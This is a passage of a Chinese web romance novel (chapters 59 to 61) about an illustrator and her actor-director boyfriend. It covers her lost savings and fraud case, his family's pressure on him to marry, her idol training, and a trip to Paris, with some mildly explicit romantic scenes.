“嗯,”她轻轻地拧眉,“每天都想。”每天也都很痛苦,希望他可以过得很好,变成他梦想中的大人物,成名比李安还快还早,26岁之前拍出堪比侯孝贤和库布里克的电影,想在电影院看见他导演的名字。 而今凌湛已经27了,他们又相遇了。 合雨悠的主动是比较难得的,所以凌湛由着她来,她低头亲了亲他的鼻尖,凌湛眼睛望着她,说痒。 合雨悠亲了亲他的耳朵,捧着他的脸,安静而专注地注视,但眼底显然有几颗比天窗还明亮的星。 凌湛垂眸,她腰很细,皮肤又白,搭上去盈盈一握,他出声:“你想说什么?” “不说什么,喉结能亲吗?” 凌湛的喉结滚动两下,仰着脖颈低低“嗯”了一声:“那你轻点儿的。” 凌湛之前买的那盒套在那天晚上、第二天早上,用光了,合雨悠接到家里电话,她妈妈邱莲的声音:“幺妹儿!昨晚上就该回来得了,咋还没拢屋?” “我昨晚没赶上飞机、不是,高铁,我等下……等下就回去。”合雨悠声音还很哑,起来后照镜子,好像全身没一块干净白皙的皮肤,都是红的,凌湛说总觉得她皮肤上有股很好吃很甜的味道,但是找不到发源地,于是一片片地尝下来了,像草莓汁拌牛奶似的,不仅是她,整个床单都弄得没法看,合雨悠一起身都感觉有什么顺着腿往下流似的。 腿还是酥软的,她本来腰就没多好,凌湛还把她摆弄成非常离奇的姿势。 真的太久没有过了。 合雨悠反省,纵欲不好,尤其是他这个年纪了!下次要提醒他! 邱莲好像在打麻将,合雨悠已经听见了麻将机的声音,邱莲说:“家里公主房给你装修好了,快点儿回来,都大半年不回来了。你哥带了女朋友回来,好漂亮一个姑娘。今年子他们就要结婚了!” “真的啊?那我马上回来!”去年家里就为了她哥合蓝正结婚的事开始装修,合雨悠只闻其名,不见其人。 眼下和凌湛分别,她去了高铁站,他也回家外公家去了,但合雨悠刷手机的时候,还是能看见很多凌湛的物料消息,有营销号、粉丝剪辑,电影路透,有一张她居然也在,站在离凌湛不远穿着黑羽绒服戴帽子也看不清脸,因为全剧组都那么穿。 有人问爆料的站姐在哪拍的,角度这么奇怪,《雾城》剧组不是防路拍防得跟什么似得么。站姐说这有什么,只是爬了一个小时的树就爬上去拍到了。 合雨悠回家就是走亲戚,还在初三那天快递重新上班的时候寄了冬草莓给凌湛。哥哥的女朋友是个性格很好也很漂亮的律师,跟合雨悠一起在二楼客厅吃炒花生和看电影,一听说她是律师,合雨悠马上不困了,思量再三把自己被朋友卷款三百万的事告诉了她:“嫂子,都半年了,警方那边没什么进展,这两人好像凭空消失了一样。” 嫂子说:“警察的调查说是不知道跑到哪个国家了?” 合雨悠点头,声音很轻:“警方说,他们可能飞去了东南亚,可是之后就断了。定位、入境记录都查不到。” “那你的案子,比你想的更有希望。” 合雨悠立马坐直了:“真的?” 嫂子看着她:“现在能做的事情比你想的多得多。” 她竖起三根手指: “第一,我们会把你的案子从‘普通诈骗’转成跨境电诈+合同诈骗+经济逃逸。三百万的金额,足以让警方重新立案,而且能进入市局层级,不会卡在基层。你当务之急换个律师。” 合雨悠就说:“我这阵子也特别忙,没什么进展,我也挺逃避了,因为一提起这个我就特别烦。” 她嫂子点头:““第二,我们会向他们出境国申请协作查询。即便是出国,只要用护照登记过酒店、电话卡、租房、做网银绑定、都会留下记录。不是所有东南亚国家都拒绝协查。” “第三,你之前找的律师没有做的,我们会向国内的金流平台申请调取他们跑前的全部资金轨迹。银行卡、支付宝、微信、信用卡和第三方支付,这些记录是不会消失的。” 合雨悠跟遇到救星了一样拉着她的手:“嫂子!!!你救我狗命。” 蒋柔就压低声音:“没结婚,我跟你哥也没登记呢,你小点声。你这三百万跟家里说了吗?” “没……”合雨悠跟组赚的钱,几乎都拿去还贷款了,她不愿意跟家里提这些,全部自己扛着,也没跟任何人交代过自己的经济状况,连凌湛都以为她还挺有存款。 “而且你放心,越晚越好查。”蒋柔点头,“跨境逃逸的人,没有钱就活不下去,他们必须继续转账、取现、消费,只要动一次账,就会露出一个露馅口子。” 她放轻声音:“我们只要抓到一个口子,就可以直接申请红色通缉。即便暂时无法带回国,也能冻结他们所有资金,让他们在外面寸步难行。”她对合雨悠侃侃而谈着,合雨悠终于再次看见了追款的希望。 凌湛是和合雨悠分别后坐车回家的,他和凌飞处在一个决裂的状态,凌湛回的是外公外婆那边,院门口站着两个值班的警卫,过年也一样换班,对凌湛的车放行。 院里的房子不算奢侈,全是八九十年代的格局,但院子宽敞,有老桂树,青苔爬到台阶边,屋檐下挂着红灯笼,灯光透在夜色里。 屋里一点不静。 刚跨过门槛,他就听见一片嘈杂。 客厅里坐了十几口子:外公的两个儿子、儿媳、几个侄子侄女,还有外婆。孩子们跑来跑去,满屋子的年味,满屋子的吵。 凌湛有时候不爱回来就是嫌人多。 看到他进来,众人一阵起哄—— “回来了回来了,大明星回来咯!我在电视上天天看你!” “小小湛这次怎么这么晚,拍戏啊?” “来来来坐,留学生,给你留了酒米饭。” 凌湛摘下墨镜:“别埋汰我了。”他挨个喊人,喊太师椅上坐着的外公,他外公年纪大了,白发整得很利落,穿着黑色的棉马甲,他外婆坐在旁边,戴着银色老花镜,哎呀一声站起来,拉凌湛坐下。 凌湛低头叫了声:“外婆。” 凌湛的基因百分之七十是来自外婆的。外婆和他妈妈是一个模子里刻出来的长相,凌湛又和妈妈长得很像,只是五官明显凌厉和棱角分明许多。 他外公抬眼,点点头:“回来就好。”过了会儿,还是没忍住起身,绕到他身边说:“做明星还是不像回事。” 凌湛就抬起头:“我也觉得不像回事。” 外公摇头:“那你就干脆不要做了。” 凌湛也不想说自己身不由己。 外婆出声:“其实明星也好。导演也好,之前你在美国拍你那个电影的时候多好,多少人夸你有天赋。DVD我还收藏了一套。” 凌湛:“您收藏了?那看懂了吗?” 外婆心虚地说:“看懂了、看懂了的,特别艺术啊,来来来喝点果汁……” 她一直觉得他当导演比当明星更像回事,凌湛家里老人思想传统,保守地认为明星等于旧时代的戏子,靠卖脸卖笑为生,凌湛不那么想,他纯粹是有其他梦想。 回家几天,家里团聚的人多。 因为大家长没有反对,家里小辈们完全不客气,七嘴八舌凑上来围着凌湛: “哥哥哥哥,我同学超级喜欢你,能给她签个名吗?我回去要发朋友圈的!” 凌湛:“签可以,别给我白纸。” “表弟,我朋友问你能不能录个生日祝福,只要五秒!” “你比电视上帅好多啊!!越长越帅了。” 凌湛怎么感觉回家了也是跟刚下飞机似的,被一帮人围着。 外婆看不过眼:“行了行了,还让不让人吃饭?都过来坐着。” 菜刚上桌不久,外婆忽然看向他:“小湛,等下吃完饭你跟外婆去楼上。外婆给你看个姑娘,很乖的,家世也好。” 整桌瞬间安静半秒,随后是大家心照不宣的轻笑。 “表哥27岁了,也应该结婚了呀!” “他是明星,明星不能随便结婚的吧,不然粉丝脱粉了怎么办?” 外婆:“还有这说法呢?” 外公皱着眉:“早让你别干这个了,隐私还要不要了。” 凌湛一个还在念书的小表妹就说:“就像那些娱乐圈文里,影帝先婚后爱,结婚结婚!表哥结婚,奶奶,新娘子长什么样呀给我看看。” 凌湛真是不堪其扰:“不用操心我的事儿了。” 外婆不赞同:“这怎么能不操心?你妈走得早,就留你一个崽,你又在国外那么多年,你外公疼你但他不说,外婆心里也心疼你,你爸又那个样子……哎,凌湛,你也该考虑了,也这个年纪了。” 凌湛:“我女朋友跟我好着的,不要给我介绍,省的多事。” 一桌人全愣住。 外公从杯子里抬起了眼。 凌湛:“早上被你们分光的草莓就她寄给我的。”他到现在还有怨气。 合雨悠家里做大棚生意的,不过不是普通大棚,做得挺大的,有机蔬菜和水果销往全省。凌湛都多少年没吃到这口了,因为合雨悠知道他爱吃有一点点酸味的,不能是纯甜的,给他挑了好久。 凌湛就被带到书房,一番促膝长谈,交代合雨悠的情况,翻出照片给他们看:“漂亮吧?” 外婆欣喜地说:“漂亮、漂亮,我家孙子眼光好。老金你看,这是你未来孙媳妇,叫什么,你说是叫……” 凌湛说:“雨悠。” 外婆:“雨悠好,看着就乖,外婆喜欢。你外公也喜欢。” 外公扫了一眼合雨悠的照片,哼声说:“没见过,不予置评。” 凌湛嘴角抽抽,犟老头。凌湛:“别搞背调那一套了,我就她了。” 犟老头当年也是不同意凌飞和金晚南的婚事的,金晚南为爱逃婚,逃离家庭包办婚姻,最后落了那么个下场。而外公原本给金晚南安排的男人,那叫一个好,现在已经坐到很高的位置上了,夫妻和睦相敬如宾,哪里像金晚南。 所以他坚持觉得自己安排得才是最好的。 但凌湛不是那么地听长辈话,他们都清楚。 因为凌湛在国外那几年和家里缺乏联系,拍的电影又太过艺术而让人看不懂,也没传出过什么谈恋爱的绯闻,他外婆还犯嘀咕凌湛是不是有什么问题,比如性取向或者性功能。 上次凌湛回来,她还安排凌湛去体检了,也看了老中医,老中医背着凌湛对她说什么活性很好,一定没有勃//起障碍,一看就是很行的,估计能一次就中。 她还很欢喜,当时就开始替凌湛物色,满圈子找合适的适婚对象,相中了几个,今晚想着让凌湛看看有没有有眼缘的。 家里老人都挺开心,凌湛么,因为很久没有体验过这种家庭氛围了,心情也不错。 他从今年开始有一点转变想法了,以前想着一定要拍一个冲奖的好电影,才算证明自己。别人能不能看懂不重要,包括他在筹备的也是那样的晦涩剧本,很难得到发行和投资方的认可。 但经历了麻烦的地下恋爱,这次他反而想开了。 艺术性和票房并不是对立的。 只要能成功一次,他才能真的谈未来,也才能给她一个稳定的方向,而不是暗无天日的恋爱,他就不喜欢这样。他想要手牵手站在天光下,在黑暗中对视,光亮中接吻。 更何况,他想回到生活里。 想跟合雨悠重新过回早几年那样的日子,周末一起去了攀岩馆,合雨悠爬不动了坐着吃零食,然后去电玩城,他现在抓娃娃的技巧已经登峰造极,一次能抓五六个,她一定会很开心,他光想都觉得心软—— 作者有话说:[三花猫头]感谢追文~发红包啦 第60章 春节后合雨悠就回上海了。叶铭把她塞进一个女团培训公司学习,为期两个月,合雨悠之所以没反抗是因为她觉着练练瑜伽和拉伸,对她的腰有点……好处。 不然趴床上半小时就腰痛了。 凌湛看她一动不动,问她怎么了,她扶着腰说不出话来,眼泪汪汪的。他还以为是被他搞坏了,把她翻过来说下次轻点。 说轻点倒是停一下啊。 合雨悠眼睛酸。 合雨悠发誓下辈子不画漫画了。 后面两个月她简直生不如死,合雨悠每天早上九点上形体课,压腿压到怀疑人生,腿要断掉了,一边怀疑自己到底在干什么,为什么要上这个课,她就一个画画的至于么。午后声乐她要跟着钢琴练气息和普通话,她普通话根本没问题好吗!又不当Rapper,咬字那么清楚做什么;晚上舞蹈室开大灯,她跟着一群十几岁的练习生学基础步,跳到腿软发汗,最后回家死一般寂静,半夜想点个炸鸡,又忍住了。 两个月下来,变化肉眼可见。 形体老师最先惊讶:“盒子,你现在走路都带风了。” 原本略微含肩的体态被一点点拉开,锁骨线条更漂亮,腰因为每天练瑜伽变得柔软又细,合雨悠太感动了,多年不治的腰椎盘突出居然跳舞跳好了。 镜头课那边也给了反馈:她上镜越来越瘦,瓜子脸显得干净又有灵气,比素人时期好看太多。 有天培训公司给叶铭打电话,说要给她“面部管理”。他犹豫了下,因为感觉凌湛如果知道这件事,会骂死他的。 他问合雨悠。 “他们想给你开眼角。” 合雨悠:“可是我眼睛已经很大了啊!我不。” “打针呢?玻尿酸也不接受?大家都打,你能看见的电视上的明星,没有一个是不打的,或多或少而已。我也才做了热玛吉呢。” 合雨悠继续摇头:“怕痛,不要,我又不出道。” “……算了也不当明星。”叶铭看她半天,已经挺漂亮了,体重没下降特别多,但肉眼可见的人变薄和轻盈了。 闲下来时,叶铭接管合雨悠的账号,比她本人还上心。 他发现,漫画订阅多年累积了百万销量,十万均订,但纸质书销量惨烈,目前还在出版社清仓。版权他们已经赎回来,最近抖音热推,销量稍微起来了点。 叶铭揉着眉心:“你这是典型的线上粉丝多、线下没人气。” 合雨悠:“那怎么办呀……我平时微博一个月不上一个,以前还会发点番外段子,后来被我那个勾线助理背刺,我就再也不敢登录了,我有社媒恐惧症。” 叶铭打开日程表:“让你露个面,你喜欢哪张照片?”他翻出合雨悠最近接受培训期间拍的一些写真,让她选。合雨悠:“这多冒昧……别人签售都是二次元头像的吧,要不用我之前自己画的那个头像?” 叶铭抬头扫她一眼:“那个鬼图?” 合雨悠:“那不是鬼图!!!!!!” 她头像虽然黑漆漆的,但是她喜欢的漫画角色啊!! 合雨悠:“我跟你说不通。” 叶铭:“我是带艺人的,盒子,我也不知道你们漫画圈子怎么个事儿,但你要按照我的路线走肯定没错,你想赚钱吗?还是说你现在已经很有钱了,不需要赚这点儿?看不上?” 他还不太清楚合雨悠的经济情况,合雨悠没有如实托来。他以为她这些年有个小千万的积蓄。 岂料合雨悠卡里的钱只够还下个月房贷的。 合雨悠点开叶铭发她的邀请函。 他给她安排的第一场是6月1日上海萤火虫漫展。也就是下月初。 出场费:五万五。 叶铭的说法是:“这钱虽然很少,但你也是第一次签售会,日积月累嘛,以后红了就有百万出场费了。” 合雨悠盯着那个55,000。 心脏嗖地燃烧起来,什么害怕笔名和三次元挂钩,怕自己丑照流出,怕网友P她遗照,什么社恐统统消失了。叶铭还在苦口婆心地劝她,让她不要看不起这点钱,就见她猛地抬首:“我去!我愿意去。一场够本吗?能不能多来几场?” 叶铭:“……” 合雨悠这样,他都要以为她是什么入不敷出的穷比了。最后叶铭参考了公司几个助理的意见,给合雨悠挑了一张偏日常的室外照,阳光明媚日系美少女,很有点桥本环奈味道。 所有人都夸,说她像个明星了。 合雨悠得知自己的照片会被挂在地铁上,感到一阵社死,看了眼那五万五出场费,又叹口气。 钱难挣屎难吃啊。 而合雨悠这边刚结束训练,一通男朋友的语音电话从法国打了回来—— 上个月,长白山那场戏杀青是在零下十度的深夜,第二天一早凌湛直接被塞回上海拍代言。手表广告、时装品牌的广告,连轴转地来。 几个月前凌湛为了筹第二部电影的启动资金,接了两个顶级奢侈品代言,想不到品牌方比剧组还能折腾,一会儿拍片一会儿拍花絮,这个月又非要他去巴黎看秀。 凌湛极不情愿。 他对时装周毫无兴趣,可没办法。这是工作的一部分。 好在男装女装秀场他都得看,看完就下订单,给合雨悠买衣服,有个品牌的设计稀奇古怪的,颇有点科幻味道,他觉得合雨悠会喜欢的,哪怕不穿,放家里展示也是喜欢的吧。 他还顺便订了一套空山基的装置,听说汉斯季默下个月在巴黎有演出,凌湛也买了两张票想让她过来一起看。 他还看了一场内衣品牌的秀,看的时候完全面无表情也没拍照,看完了问她:“你穿C吗?” “C什么?”恕合雨悠一开始没理解到。 凌湛:“内衣。” 合雨悠:“……D。” 她问:“你不会要给我买那个。” 凌湛:“那我订D了。” 合雨悠:“但是我瘦了!可能也瘦下去了……” 凌湛:“胸也能瘦下去的吗?” 合雨悠还有点不好意思,打字:“是啊……现在不知道什么尺码了。” 凌湛发了个OK的表情:“等你来了我量量再买。” “来什么?”合雨悠问他。 凌湛:“来找我。我们已经两个月没见了,你课程完了吧?” 他们中途有打电话,合雨悠在训练营里累得像条狗,团课、形体、镜头课、舞台课、发声、拉伸,每晚都抱怨腰酸腿痛:“我真的好累……但我想把这个做好。” 她从没说过“放弃”,所有事都是如此,一旦开始就只会到结束。 凌湛让她别继续了,说做那个没有什么意义。 可合雨悠每次都叹口气,然后轻声跟他说:“我还可以的,其实也不是很累。” 然后凌湛的电话就打给了叶铭:“你下周飞巴黎吗,把她带一块儿来。” 叶铭:“你说谁?” “你以为谁。” 凌湛还得去看秀,在酒店里换衣服,单手把衬衫的扣子扣上,手指骨节分明,手背浮出青筋,语气毫不隐晦:“我老婆。” 叶铭手一顿:“……合雨悠啊,哦,她为什么要来?” 凌湛说:“为什么,我要谈恋爱。” 叶铭满脸写着无语:“你不能等你回国再谈吗?” 凌湛看着镜子,拉开腕表抽挑了一只,语气淡淡的:“法国没几个人认识我。” 叶铭:“……哥,可别作了。世界上哪里没有中国人?卢浮宫外面都有卖煎饼果子的。” 凌湛不争辩,只是:“她在你旁边?你问问她愿不愿意来。” 叶铭扭头看向合雨悠。 合雨悠在他公司里坐着画画。 他也不懂她在画什么,仔细一看是怪盗基德冷脸洗内裤。而她戴有线耳机,穿着白T恤,锁骨线条因为长期训练漂亮得惊人,露出纤细的天鹅颈。 叶铭脸上缓缓冒出一个问号。 漂亮小姑娘在认真画些什么? “那个……”叶铭咳了一声,“凌湛想让你跟我们一起去巴黎。” 合雨悠:“啊……我可以去的吗?” 叶铭盯着她:“你想去?你俩早聊过了吧。” 合雨悠抓着笔,沉默一秒,眼睛里微微亮亮的:“昨晚聊的……我说得问问你,毕竟你是我老板。” 叶铭:“我不是你老板,我是你经纪人,你想去干嘛?” 合雨悠挠鼻头:“我……想谈恋爱。” 叶铭:“……” 叶铭:得了吧,你俩直接说过性生活不行吗? 他又不是什么老古板。 没救了。 但之前剧组的表现叶铭也看见了,还以为他俩很危险,他忧心忡忡的,结果彼此在剧组都很敬业,根本没有露端倪。 叶铭叹气:“行行行,你俩赢了。马上给你办签证,我去给你订机票。” 挂电话后,他才对合雨悠交代:“你们要是敢在巴黎给我闹绯闻,我直接跳塞纳河。要给我约法三章,任何公开场合都不能搞暧昧。” 合雨悠说好的好的,一周后,签证和机票都出来了,合雨悠上飞机的时候,才注意到机场也有自己的日系写真海报…… 巨大的真人照片,底下三分一排版了她的漫画单行本,泰版单行本以及“小河向西流”的笔名,包含日期和地点等信息…… 甚至还有前两百签到读者送书活动的宣传。 老铁不是吧…… 她望向身边嚼口香糖的叶铭:“宣传很贵吧。” 叶铭摆手:“还好啦包年了,不是挂你也是挂凌湛的脸,都一样。” 事实上,这怎么能一样?凌湛是什么商业价值?但叶铭也不亏待合雨悠。钱对他都是小事。 合雨悠闻言低头默默戴上了墨镜,但其实即使她从很多人面前走过,也很少会有人跟刚刚的海报挂钩,不是因为没认出来,而是因为她是一张生脸,除了熟人鲜少有人能一眼记住机场过路的一张广告模特的脸吧。 但合雨悠在上飞机后没多久,就接到了朋友的消息。 一个是她奔现的网友姜小敏。 小敏:“我去啊小盒子你要去签售会啊,这么公开露脸,我在地铁站看见你海报人都傻了!你这是想通了?” 合雨悠只好胡乱解释一通,说是受邀,她也想多多社交,回馈一下读者什么的……就敷衍过去了。 另一个消息是来自一个漫画家同行,叫今无忧,是个画少女漫的女画家,应该挺红的。两人之前线下见过一次,当时是网站的活动,合雨悠因为过敏长了荨麻疹,全程戴口罩出席的。 今无忧:“西流大大!!看见你海报了哈哈哈,这个萤火虫去之前去过一次西安的,这次上海的我也在考虑要不要去,没想到你直接露脸了,好漂亮呀。到处都是你的广告呀。” 她发了个很萌的表情包。 在合雨悠印象中,她确实是个萌妹子。 合雨悠回复:“没有没有,我高P的。” 今无忧:“哈哈哈豆包做的吗?” 合雨悠:“不知道怎么做的海报,可能是豆包吧。现在AI也很厉害了。”这个海报的设计不是她,她也不知道。 今无忧说:“是,我让豆包给我P,那个美的,我都不敢认。” 合雨悠感觉好像哪里不太对,但就一同行,也不太熟,嘻嘻哈哈聊了几句,合雨悠借口要起飞回老家了,就直接撤了。 飞机公务舱。 合雨悠和经纪人隔着中间一层小隔板坐在一起。 这趟航班没有WIFI,上飞机她就断网了,和叶铭下了会儿五子棋,聊了会儿天,叶铭打听了下他俩高中时代的故事:“凌湛那么大一尊校草,你俩谈恋爱都没人发现?” 合雨悠就说:“我那时候不敢早恋啊,我家教很严,每次见他我都躲着的,就遮遮掩掩,怕被人知道,怕因为这个被霸凌。他也有一些朋友知道我,见过我吧,但我和凌湛其实是高考后谈的恋爱……”而且当时合雨悠的同桌喜欢他啊,合雨悠哪敢暴露,一直以“LZ”为凌湛的备注,被同桌看见了暧昧消息,合雨悠急中生智说是网恋,这是个贴吧楼主,所以叫LZ,同桌还鼓励地拍她肩膀让她吃点好的。 放心吧她吃挺好的。 将近十四个小时的飞行后,合雨悠睡了一觉落地。 接机的是一辆黑色豪华型保姆车,九个座位,但只有凌湛一个人坐后座,于是空间就宽敞起来了。 他坐在最后一排,右腿搭在左腿上,皮鞋泛光,西装裤紧贴着长腿线条。掐腰的西装外套则完全敞开。 ……私下里,合雨悠没见过他这样穿,给她看愣了。 合雨悠的行李被司机接手,她一上车就被凌湛捞过去搂怀里,因为特别久没见,合雨悠沾着他就浑身一软。 凌湛说:“你怎么瘦这么多?”他不可思议,因为合雨悠本来在他眼里就是瘦小孩,现在跟纸一样,根本不是健康的。 合雨悠抬头说:“啊,我体重现在刚好90,还行?我高中92呀。” 他低头:“是吗,那时候抱起来比现在要有点肉。”温热的手掌搁在她腰上,本来是要摸她腰上还有肉没,结果合雨悠因为敏感直接一缩柔软地“嗯”了一声。 刚上车的叶铭:“……” 正想下车的叶铭扭头一看车门关了。 “两位,车上没监控的,其实我不反对车//震,但是可以关怀一下我吗?我离婚两年了。”他微微一笑。 合雨悠闪电般地弹开。 凌湛侧头一看怀里空了,不愧是悠悠球跑的就是快,他没说什么,扫叶铭一眼:“你坐前面吧。” 叶铭耸肩说:“我也那样想的。” 合雨悠立刻接:“不用不用,铭哥,您不用去前座。我们不会……不会的。” 她其实觉得自己是个保守的女孩子来着。 叶铭一说她浑身都燥,感觉对不起列祖列宗。 凌湛伸手过去拉她:“牵着吧,坐过来点,和我隔着个银河系是想干什么?” “哦……”她坐过去了。 这回凌湛只是牵着,挨着,低头嗅嗅她皮肤上干净的气味。 合雨悠赶紧躲开。凌湛看她,她忙说:“我刚下飞机,没有洗澡,身上不好闻的。”她看了一眼,隔着两排,叶铭戴上了头戴式耳机,摇滚乐声音吵闹得她都可以听见。 凌湛并不在乎,低头扫一眼,出声:“量了吗,我给你买什么尺寸?” 合雨悠马上意识到他在说什么。 因为前几天他们聊到过这个。 合雨悠低头,耳尖一红,小声说量了,他问多少。 合雨悠支吾了一声,那怎么能在车上聊这个?凌湛看她这样,就说算了,侧过头耳语:“听不见你说什么,不好意思就别说了,回酒店我量量。”—— 作者有话说:[三花猫头]谢谢追文,都发红包~《 》 60-70 第61章 合雨悠在大学时办的护照,拍照那天穿学校的文化衫,素面朝天。而第一次旅行是和一拍即合的面基网友姜小敏一起去的泰国,当时她一部漫画完结,浑身被掏空,打算休息半个月。 这是她非常久违的一次度假。 大学四年里,她和室友、同学们关系平平。不是不合得来,只是她没那个精力。 别人聚餐,她在画格子;别人K歌,她在一遍遍改草稿;别人恋爱,她在怀疑自己是否要换个职业。 根本没人看她的画,毕业后难道去机构当老师么? 最难的时候,被退稿的次数多到连编辑都开始用“你试试画少女漫吧?”的语气劝她。 她不是没试过,可每一次模仿都失败得彻底,让她怀疑是不是天生没有市场感,为什么人家画的东西就是那么容易吸引到读者,是她题材有问题吗?画工问题?还是运气不如人? 每次心灰意冷,合雨悠就会想起凌湛以前跟她说过,问她想要成为更好的自己,还是更好地成为自己。 凌湛毫无疑问是后者。 合雨悠不自觉被这句话引导,她也想选后者,后者总是更鲜明更接近神性的选择。 她画的东西说实话比较猎奇,所以不想被人看见,一回宿舍总是拉上隐私帘开着台灯做自己的事。 虽然这并非她本意,但久而久之她好像成了个边缘体。那时候她关系比较好的同校朋友展紫妍又在谈恋爱,合雨悠跟他俩一起吃饭过一次,发现自己是个高度电灯泡就不敢参与了。 她好像彻底失去了社交,愈发独来独往,周末偶尔和在北京上班的哥哥吃饭见面,其余时间都是活在二次元里。 画漫画,认识读者、漫画家、网友、编辑…… 这些日常构成了她生活的全部,后来几年也都是如此。 一定程度上影响了她的性格。 所以这次来巴黎只是合雨悠第二次出国旅行,他们在车上聊了会儿吃什么的问题,车到酒店,叶铭先出声:“凌湛先下车,我和盒子过十分钟下。” 凌湛:“有这个必要?” 叶铭的谨慎让他掀起逆反心。他不是容易受控制的性格,每每想逆反,就会做些超乎寻常的事,目前因为事小还没被人发现。 叶铭宽慰道:“听话啦凌湛,”他像个男妈妈一样温柔,“晚上你们不就睡一起了吗?” 凌湛就气鼓鼓地戴上墨镜下车了。 下车后还频繁回头望,隔着黑色的玻璃望合雨悠的位置。 凌湛的恋爱脑程度叶铭是知道的。 之前能说出“冥婚我也要和她配”的话,已经震惊得他封建的曾祖父原地复活了。 隔着车窗,合雨悠看凌湛还站在那里,便低头给他发了条消息:“我等下和叶总一起上来^^” 凌湛就乖乖进了酒店侧门。 叶铭说了句:“他还挺听你话。” 合雨悠没敢接话。 叶铭又说:“那你劝他别那么清高了,多接点工作。” 合雨悠顿了下,说:“他有自己的想法。” 叶铭:“有几个工作我打算让他接的,他看都不看一眼,说实话我很无奈,如果你能劝他接下的话,年底我给你发个七位数红包。” 合雨悠:“!!” 合雨悠还是谨慎地道:“叶总你得发我看看,都是什么工作。” 叶铭说好啊:“等下转给你。”话毕看了眼时间,吩咐司机去停车场,而后看手机,不知道刷到了什么,眉心明显地一蹙。 “盒子。”他喊合雨悠。 合雨悠马上倾身:“叶总?” “这什么你知道吗?”叶铭把手机屏幕立起来,合雨悠凑近一看,愣了一秒。 这是凌湛昨天出席时装周秀场的生图,他坐在秀场前排,时尚宠儿般的完美脸庞,黑色风衣搭窄领露锁骨的高定衬衫,冷光灯下五官英俊立体,充满荷尔蒙的衣架子身材完美衬出高定的魅力。 但都不是重点,不知道是不是为了呼应红底鞋,中指上戴了一枚苹果皮设计风格的泥塑戒指。 那戒指卡通了些,童趣了些,和他身上的服装显然不契合。 合雨悠眼皮抽抽,她一看就知道,这是她闲来无事捏的,送给凌湛的小礼物之一。 很多年前了。 粉丝以为是个混搭的可爱小设计,没怀疑是秀恩爱,还认为造型师别出心裁。 粉丝在评论区疯狂解析:“是哪个小众品牌?” “好棒的设计啊!!求个链接,好想要!!” 而且这款是合雨悠手作,独一无二,网上根本没有同款。 昨天半夜义务商家就已经紧急根据照片建模上货了,拼多多卖9.9,现在销量已经十万了…… 合雨悠想了想:“这是我设计的,我能告这个商家吗?能给我赔多少钱?” 叶铭扭头震撼望着她:“你缺钱缺疯了啊?” 合雨悠心想是的啊。 叶铭冷笑:“他戴你设计的戒指出席活动,明摆着暗搓搓想秀恩爱,这么做的我见多了。” 合雨悠马上说:“放心啦是独立设计,我就做了那么一个而已,没拍过照,没人知道我做的。” 叶铭瞥去:“刚刚是谁还想去告商家抄袭?” 合雨悠:“哦我只是缺钱缺疯了而已,您别当回事。” 她甚至手痒有点想拉凌湛拍几张拍立得,先赚点房贷钱再说。 最近赚的钱都拿给她那未来嫂子去给她追跑路的动画工作室了,这么穷的情况下她还跑来巴黎,她也不知道自己在想什么。 还好合雨悠最近热度上升,她接了个大厂的商业插画,价值两万,可惜需要熬夜赶稿。 十几分钟后,两个人开了房间上楼了,发现自己居然和叶铭一个房间的合雨悠:? 她环顾一圈也没看见套房里有第二间卧室,说:“叶总……这不太合适吧。” “我没想潜你,看我干嘛?反正给你开了房他也会来你房间,那他房间的钱不就浪费了,行了你过去找他吧,”叶铭掏出自己的真丝睡衣和眼罩套装,摆摆手,“别烦我了,你们做的时候小点声,这里隔音没那么好,我几年前来过。对了脖子上别种草莓,要是这个都做不到以后别跟我说想谈恋爱。” 合雨悠便让他好好休息,就拖着行李出去了。凌湛就住隔壁,反复开门好几次了,像守在猫洞口的豹子,听见一点动静就抬头。 见她出来,立马一只手拎她行李过去,一只手伸过来牵合雨悠手腕。 带着极强的方向性。 合雨悠还没反应过来就像收线的风筝一样回到属于她的地方。 凌湛这会儿已经换了一件更柔软的家居服,肩颈线条松下来,整个人干净温热、带着刚洗完澡的气味。弯腰将合雨悠整个搂怀里,嗓音也温和下来:“悠悠,这里没有其他人了,我抱抱你好么。” 他下巴轻轻压在她发顶,手臂从合雨悠背后环过来锁住,另一只手落在她柔软的腰侧,掌心桎梏,似乎有点想揉又忍住的冲动,高大的身体前倾,让她整个人贴进他微微敞开的胸膛皮肤。 合雨悠被他突然这样搂住,心头仍然一跳,旋即轻轻抬手抱住他后腰,像这样站着抱了足足几分钟。 她不知道具体几分钟。因为下飞机有点困。 他们最近每一次见面,几乎都是这样开始的。 凌湛好像比亲吻更喜欢抱她。 睡觉也这样,做梦会让她有点喘不过气的拥抱方式,可能是因为他们见面的次数的确不多。两个多月里不超过三次。 这是第三次。 凌湛有时候会流露出合雨悠揪心的孤独,电话里常如此,很微妙,也好比现在,似乎特别缺爱。所以他想从这种温热的肢体接触里汲取爱意。合雨悠回忆了下他的家庭,于是默不吭声,像比他年长一样,踮着脚努力伸长胳膊,手心轻轻地拍拍他的背。 把凌湛拍得心脏骤软。 “合雨悠。”凌湛这时候就会喊她的名字,“你不想我么?” 合雨悠轻声说:“没有啊,想的啊。” 超级。 “我不问你你就不会主动说想我,是不是。你说你是不是?”凌湛松开怀抱,双手按着她的肩膀,低头对着她的眼睛,黑眸里近乎专注的。 像戴了美瞳一样天生的琥珀色浅瞳,大大的望着他。 合雨悠思考两秒回答:“喜欢和思念说多了是不是就太廉价了?因为太习以为常了,就好像不是一个特别的示爱的句子了。我是这么想的,但不代表我没有想你呀。” 你看她身无分文都跑来巴黎找他,还不是恋爱脑一时发作,在飞机上敷着叶铭给她的贵妇面膜她都在后悔和思考怎么办。 算了甲方的稿子她快点熬夜画完,这家公司财务非常靠谱,她一交稿很快就打款了…… 她一面惦记着交稿,一面用她的道理来哄凌湛说:“就像我父母从来不说他们爱我,但我就是知道,我从不怀疑这点。你会怀疑吗?” 凌湛保持那个姿势,捧着她脸:“可我没父母,我怀疑什么,我只有你了。” 合雨悠这下不知道怎么接话了,就轻轻张手靠着他:“那我们再抱会儿吧!” “嗯。”凌湛弯腰,一手搂腰一手搂腿,直直地将她抱起来。合雨悠一惊,问干嘛,凌湛唇角一弯:“洗澡啊,”他单手打开浴室门,“刚刚妹妹说坐完飞机想洗澡的。我们一起。” 合雨悠:“等等……”她的稿子! 不等她回答,凌湛剥掉她衣服,打开了淋浴器,弯腰单臂撑在她后背紧贴的大理石墙面上。 